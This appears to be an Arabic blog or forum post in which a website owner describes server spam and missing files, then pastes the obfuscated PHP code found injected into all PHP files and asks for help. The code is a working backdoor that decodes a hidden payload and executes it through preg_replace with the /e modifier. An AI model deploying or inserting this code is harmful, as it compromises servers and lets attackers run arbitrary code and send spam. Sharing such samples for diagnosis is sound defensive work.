السلام عليكم ..
وجدت سبام غير طبيعي من خلال السيرفر، تواصلت مع الشركة واخبروني بمصدر السبام، الغريب انه لا يوجد احد غيري يدير الموقع.
ايضاً لاحظت اختفاء بعض الملفات من السيرفر، ظننت ان المشكلة من خلال سيرفر قواعد البيانات mysql، بعد الفحص واستعادة باك اب، عمل الموقع بدون مشاكل، لاحظت شيء غريب وهو وجود مثل هذا الكود في كافة ملفات php على السيرفر
لا ادري اذا مرت على احد نفس المشكلة؟؟
وجدت سبام غير طبيعي من خلال السيرفر، تواصلت مع الشركة واخبروني بمصدر السبام، الغريب انه لا يوجد احد غيري يدير الموقع.
ايضاً لاحظت اختفاء بعض الملفات من السيرفر، ظننت ان المشكلة من خلال سيرفر قواعد البيانات mysql، بعد الفحص واستعادة باك اب، عمل الموقع بدون مشاكل، لاحظت شيء غريب وهو وجود مثل هذا الكود في كافة ملفات php على السيرفر
كود PHP:
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $kbpuorwala = '6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-rrd%x5c%x782f#00;quui7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%~!dsfbuf%x5c%x7860gvodujpo)#%x5c%x7825)m%x5c%x7825=*h%xbq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%xftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7puft%x5c%x7860msvd},;uqpuft%x578257-MSV,6<*)ujojR%x5c%x7827idbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!37]278]225]241]334]368]322]3]364]6]283]427]36)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x7<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*c%x7825w6Z6<.2%x5c%x78607827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x782{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<mjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%<ofmy%x5c%x7825,3,j%x5c%x7825>j1]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%6%x21%76%x21%50%x5c%x7825%x5c%5c%x7825!<12>j%x5c%x7825!|!*#91y]c254]y76#<%x5c%x7825tmw!>!#]y84]275]822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x786043928]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%25j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!!}{;)gj}l;33bq}k;opjudovg}%x5c%x7875c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x78!hmg%x5c%x7825)!gj!~75ttfsqnpdov{h19275j{hnpd192759y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860osvufs!*!+A!>!{e%x5c%e("%x2f%50%x2e%52%x29%57%x65","%x6984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]248]y83]256]y81]x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#Tx5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y]3%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7x5c%x7825b:>%x5c%x7825s:%c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvcc%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00pt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#f5c%x7825)m%x5c%x7825):fmji%x5c%x7878:#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x782y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x78785cq%x5c%x78257%x5c%%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x73zbek!~!<b%x5c%x7825n)%x5c%x7825bss-%x5c%x7825r%x5c%5f%163%x74%141%x72%164") && (!isset($GLOBALS["%x61%156h%x5c%x7825)sutcvt-#w#)l265]y72]254]y76]61]y33]68]y34]6]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x78x7860ufh%x5c%x7860fmjg}[;ldfh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%xCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x1);} @error_reporting(0); preg_replacnction fjfgg($n){return chr(ord($n)-^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#)x5c%x7825:|:*r%x5c%x7825:!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5chA%x5c%x7827pd%x5c%x78256<C%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827#)idubn%x5c%x7860hfsq)!sp!*f#<!%x5c%x7825tww!>!%x5c%x78240x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*81#%x5c%x782f#7e:55946-tr.984:75983:48x7878B%x5c%x7825h>#]y31]278]y3e]8143]321]464]284]364]6]234]342]58]24]31#-%x5P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]Dx78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%xyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%5%166%x61%154%x28%151%x6d%160%x6c%157%x64%145c%x782f7rfs%x5c%x78256<#o]1%xx7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x78825<#372]58y]472]37y]672]48y]#>s#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5)qj3hopmA%x5c%x78273qj%x5c%x?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]27c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7820~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x7825h!>!%x5c%x7825t<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x77,27R66,#%x5c%x782fq%x5c%x7Ke]53Ld]53]Kc]55Ld]55x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x57824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x782**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+q5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]hA%x5c%x7827pd%x5c%x78256<pd%x55c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5q%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x75c%x782f20QUUI7jsv%x5c%x78278256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%xjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%60FUPNFS&d_SFSFGFS%x5csvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#05c%x782f#%x5c%x782f#%x<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%xASV<*w%x5c%x7825)ppde>u%x#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]De%x5c%x7825)Rd%x5c%x7825)Rb%x4c#<!%x5c%x7825t::!>!%x5c%x7824Ypx782f7#@#7%x5c%x782f7^#iu7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZ#-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y%x5c%x7825!<**3-j%x5c%x7825-bubE{82f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x25tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7864!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x782x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-c%x7825tdz*Wsfuvso!%x5c%xx78604%x5c%x78223}!+!<+{e%x825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{oopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%y7d]252]y74]256#<!%x5cx7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uq2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x55nfd>%x5c%x7825fdy<Cb*[%x5c%4%50%x22%134%x78%62%x35%165%x3a%142qj%x5c%x78257-K)udf825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5d%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoif((function_exists("%x6f%142%xx5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%xc%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*Www2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x57825tmw)%x5c%x7825tww**WYsboepx5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},5)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*u%x5c%x7825<#762]67y]562]38y]572]48y]#>m%0cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!5)7gj6<**2qj%x5c%x7825)hopm3qjA#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%-SFGTOBSUOSVUFS,6<*msv%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5fpg)%x5c%x7825s:*<%x5c%x7825j:,,B17-SFEBFI,6<*127-UVPFNJU,6<*274-%x5c%x7824]y8%x5c%x7824-%x5c%x782#o]s]o]s]#)fepmqyf%x;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|2b%x5c%x7825!<*qp%x5c%x7p3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x5s:N}#-%x5c%x7825o:W%x5c%x7#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%5]256]y6g]257]y86]267]y74]275]y7:]268]y7(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]27%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|4]y85]273]y6g]273]y76]271]%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5cdz)%x5c%x7825bbT-%x5c%x7825bT-%x5fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x57825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x5c%x782f#@#%x5c%x782fqp%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w66#<%x5c%x7825fdy>#]D4]273]D6]373P6]36]73]83]238M]82]y76]62]y3:]84#-!OVMM*<%x22%51F.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%xd816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%5c%x785c1^-%x5c%x7825r%x5c%x785c2%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;); }%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; fu4]26%x5c%x7824-%x5c%x7824<%x5c%x7x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)32%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%xbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x782%x5c%x7825<#462]47y]252]18y]#>q8256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~8;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%166#<%x5c%x78e%x5c%x78b%x5c%x7825wx7878:!>#]y3g]61]y3f]63]y3:]68]y757UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-7]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>%x29%51%x29%73", NULL#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutR78r.985:52985-t.98]K4]655c%x7825))!gj!<*#cd2bge56+99386c6f+9f5:!>!%x5c%x78246767~6<Cw6<pd%x5c782fq%x5c%x7825>U<#16,47R5!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y8%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%xc%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5%x7825!**X)ufttj%x5c%x7822)gj!|!*nbs5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785c7827;%x5c%x7825!<*#}_;#)323ldfid>}&/(.*)/epreg_replacemvvmcraiqz'; $zhcfsosvng = explode(chr((231-187)),'6699,31,2847,54,8625,59,3223,36,3186,37,1959,34,3923,45,7304,45,9176,64,6414,34,1231,30,9272,33,9240,32,9591,31,8319,63,1868,70,4726,31,707,24,3408,28,5871,43,7533,20,1647,51,5149,61,4130,58,6330,56,3968,29,4921,27,9305,65,6448,20,6025,51,8916,43,731,58,7236,31,4188,28,4948,69,2713,21,5343,25,278,48,1019,45,10017,54,4857,64,9045,54,0,65,2530,60,838,69,639,68,7468,30,7349,28,439,30,6517,56,789,49,8575,46,1491,36,3021,27,2470,60,6246,43,409,30,2386,40,1101,64,3363,45,7858,56,372,37,6468,49,6573,63,65,61,6188,36,3436,42,1765,20,947,31,5639,33,2901,24,469,58,1425,66,1261,34,1815,53,8717,67,9414,45,9648,62,2236,63,7602,24,8243,47,3292,46,164,21,4073,57,9136,40,8290,29,9809,46,5527,45,7182,54,4620,47,5082,45,3478,27,9480,49,5281,29,9553,38,8502,40,3997,44,5060,22,8851,65,2795,20,7940,68,9981,36,8959,55,6996,43,3882,41,6730,61,5127,22,7131,51,10071,35,8784,67,1330,47,1785,30,8041,69,5939,27,4757,63,1938,21,5755,49,7079,52,5368,59,5210,25,3109,39,9622,26,4453,27,6636,63,8463,39,185,38,6957,39,7553,49,1612,35,9099,37,7697,53,3536,56,4216,70,7914,26,2663,50,5709,46,1295,35,9758,51,7750,40,3505,31,4346,45,2173,63,9370,44,3048,61,251,27,2590,37,4411,42,4041,32,9014,31,7039,40,3338,25,907,40,326,46,4667,59,6224,22,2734,61,1698,67,1527,35,3826,56,4561,59,5804,67,7498,35,8684,33,2299,62,8110,66,1562,50,223,28,5427,39,4820,37,5572,67,5310,33,7626,44,8176,67,7377,58,1165,66,4501,60,6791,37,3148,38,8542,33,6076,69,6927,30,2815,32,3630,34,2956,65,9529,24,1064,37,3592,38,1993,66,5235,46,8382,28,3706,70,6289,41,4480,21,2627,36,6386,28,4391,20,8008,33,2426,44,7267,37,527,45,8410,20,9710,48,3664,42,5914,25,9920,61,4286,60,7670,27,5966,59,7435,33,5017,43,2361,25,6872,55,9855,65,3259,33,572,67,5672,37,6145,43,6828,44,3776,50,2126,47,126,38,5466,61,7790,68,978,41,2059,67,2925,31,1377,48,8430,33,9459,21,8621,4'); $dcbfztuunf=substr($kbpuorwala,(41996-31890),(21-14)); if (!function_exists('orglnzemhl')) { function orglnzemhl($xrtzsfbvrt, $hbhsgedjqo) { $fbxjlchxyw = NULL; for($yxvsegbmoq=0;$yxvsegbmoq<(sizeof($xrtzsfbvrt)/2);$yxvsegbmoq++) { $fbxjlchxyw .= substr($hbhsgedjqo, $xrtzsfbvrt[($yxvsegbmoq*2)],$xrtzsfbvrt[($yxvsegbmoq*2)+1]); } return $fbxjlchxyw; };} $lelnrtkuwi="\x20\57\x2a\40\x6e\166\x6d\163\x6a\151\x79\164\x62\144\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\64\x35\55\x31\60\x38\51\x29\54\x20\143\x68\162\x28\50\x34\66\x35\55\x33\67\x33\51\x29\54\x20\157\x72\147\x6c\156\x7a\145\x6d\150\x6c\50\x24\172\x68\143\x66\163\x6f\163\x76\156\x67\54\x24\153\x62\160\x75\157\x72\167\x61\154\x61\51\x29\51\x3b\40\x2f\52\x20\151\x67\147\x6b\172\x70\144\x6c\165\x74\40\x2a\57\x20"; $hoqpaegnar=substr($kbpuorwala,(60978-50865),(38-26)); $hoqpaegnar($dcbfztuunf, $lelnrtkuwi, NULL); $hoqpaegnar=$lelnrtkuwi; $hoqpaegnar=(363-242); $kbpuorwala=$hoqpaegnar-1; ?>كود غريب في كافة ملفات php على السيرفر
ليست هناك تعليقات:
إرسال تعليق